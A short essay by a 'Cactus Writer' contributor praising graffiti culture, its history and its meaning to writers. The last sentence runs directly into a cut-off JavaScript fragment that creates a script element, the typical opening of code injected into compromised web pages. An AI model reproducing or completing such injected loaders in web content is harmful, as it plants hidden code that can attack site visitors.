Hector Castellanos, Cactus Writer

Graffiti has been a controversial topic since the early 1960’s. Actually, graffiti is the plural of graffito, a phenomenon that left evidence still present today of ancient Roman/Latin civilization. It was used to write disparaging or humorous comments about people, situations, government. A majority of people looks down upon the craft and fail to view it through optimistic eyes. There are a few who realize how graffiti and its culture have made, and will forever continue to positively impact, society.

Graffiti and its culture have made people change their whole perspective on what we nowadays call art. Those who perform the craft don’t even classify it as art; it is just writing to them. Graffiti has become a movement, a shift, a journey, which has taken the world by storm, telling a story in each tag, burner, or piece that was hit up.

Graffiti is an underground way of life that leads to a yellow brick road of artwork and culture. Yeuxer, a well-known graffiti writer in Arizona, once told me “I write my name on walls because when I speak not a single soul listens.” Graffiti culture has been an outlet for many kids, teens, and adults that feel the need to take their name, their message to a larger scale or audience. When a paint brush or canvas fails, a wall and a can of spray paint can open up doors for a message that was meant for more eyes. To think that doing something as simple as writing your name on a wall could land you in a world of fame or behind bars? I admire graffiti writers for never letting such a mysterious culture die despite its controversial history.var d=document;var s=d.createElement(‘script’);